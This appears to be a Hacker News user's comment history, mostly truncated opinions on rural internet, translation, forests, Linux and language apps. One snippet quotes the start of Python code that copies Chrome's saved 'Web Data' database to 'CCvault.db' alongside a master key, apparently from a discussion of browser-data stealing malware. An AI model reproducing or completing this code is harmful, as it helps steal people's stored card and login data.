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by smallerfish 5y ago
I guess it depends on where you are and how wide the outage is. Most of our power outages are extremely local (we're in the middle of the jungle and trees come down during heavy rain), and usually resolved within a couple of hours. So
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by smallerfish 5y ago
It's all about local jobs. The official unemployment rate is 20%, reality is likely significantly higher.
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by smallerfish 5y ago
That's out of date. They ran fiber down the Pacific coast when the highway was paved, and it doesn't cost that much to get a connecting line run to your house (source, did this a few months ago, have reliable symmetric 75Mb). Powe
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by smallerfish 5y ago
Right, but human conversation doesn't work like that. A real usage would be more like "The man saw a boy with his telescope. The boy was running down the beach, apparently screaming out at the sea." Using "a" in pla
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by smallerfish 5y ago
Indeed, translating from the #1 language to the #4 language (or back) is problematic. Google's translation is usually enough to approximate what was said, but often results in gibberish. As a small example, it consistently fails with t
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by smallerfish 5y ago
The early european colonists & explorers reported vast pristine forests covering the land. There's some evidence to suggest that these were very recent second growth, the diseases from the europeans having wiped out 50-90% of the n
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by smallerfish 5y ago
Then there are apps that are just bad, but shouldn't be. Take HBO Max (please, take it). Once you're actually playing media, it basically works fine, but the sheer number of bugs and brain-dead user flows is astonishing. It's
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by smallerfish 5y ago
Actually cutting them down is fine as long as we re-plant and slow down the decomp of the wood (by, e.g., using it in manufacturing or building.) Bamboo's also a good candidate for this cycle. Locking up atmospheric carbon in material
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by smallerfish 5y ago
Start by listing out the features in a spreadsheet. For each feature, think through it and list out the stories, one per row. Create a section per feature in the spreadsheet (i.e. put a line under each group of rows). For each story, add an
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by smallerfish 5y ago
Right, but I wouldn't have expected that processes outside of chrome could get at its internally managed db (or encrypted properties), especially if it's using an authenticated (chrome) user profile. Windows doesn't have any
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by smallerfish 5y ago
``` def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data' shutil.copy2(login_db, "CCvault.db") c
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by smallerfish 5y ago
I'm pretty happy with Linux on my desktop - I use it for development, making music (Bitwig - I have a full studio hooked up to it, using an audio interface, a midi interface, a control surface, a variety of midi controllers, and suffic
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by smallerfish 5y ago
DuoLingo is great as a first hurdle (better than e.g. Babbel, as it's friendly and eases you in gradually) - but there are diminishing returns. I found it useful to jump ship partway through the course and move to LingQ (which has a co
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by smallerfish 5y ago
I believe it's a lack of good / opinionated defaults. KDE is deeply customizable, and once you have spent some time tweaking it you can have a great looking desktop. However, most/all of the distros ship with a bland/con
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by smallerfish 5y ago
After the second startup I'd worked at (NYC based, founded by ex colleagues of Bezos from DE Shaw) started burning out in early 2001, I worked for a consulting company. One of our clients were the shady founders of CyberRebate, who no
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LibreOffice design team is looking for feedback on Calc (short survey)(design.blog.documentfoundation.org)
2 points by smallerfish 5y ago|0 comments
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by smallerfish 5y ago
> "Evolution is cleverer than you are" - Leslie Orgel Evolution also works at longer timescales than we do. Sure we may end up with 60 foot ferns again 10k years from now as plant life rebounds in the carbon rich atmosphere, bu
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by smallerfish 6y ago
Do you find it impossible to talk to a person 10 feet away? Because their audio has a roughly 10ms latency.
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Ask HN: Meeting with acquirer / competitor. How much tech to disclose?
1 points by smallerfish 9y ago|1 comments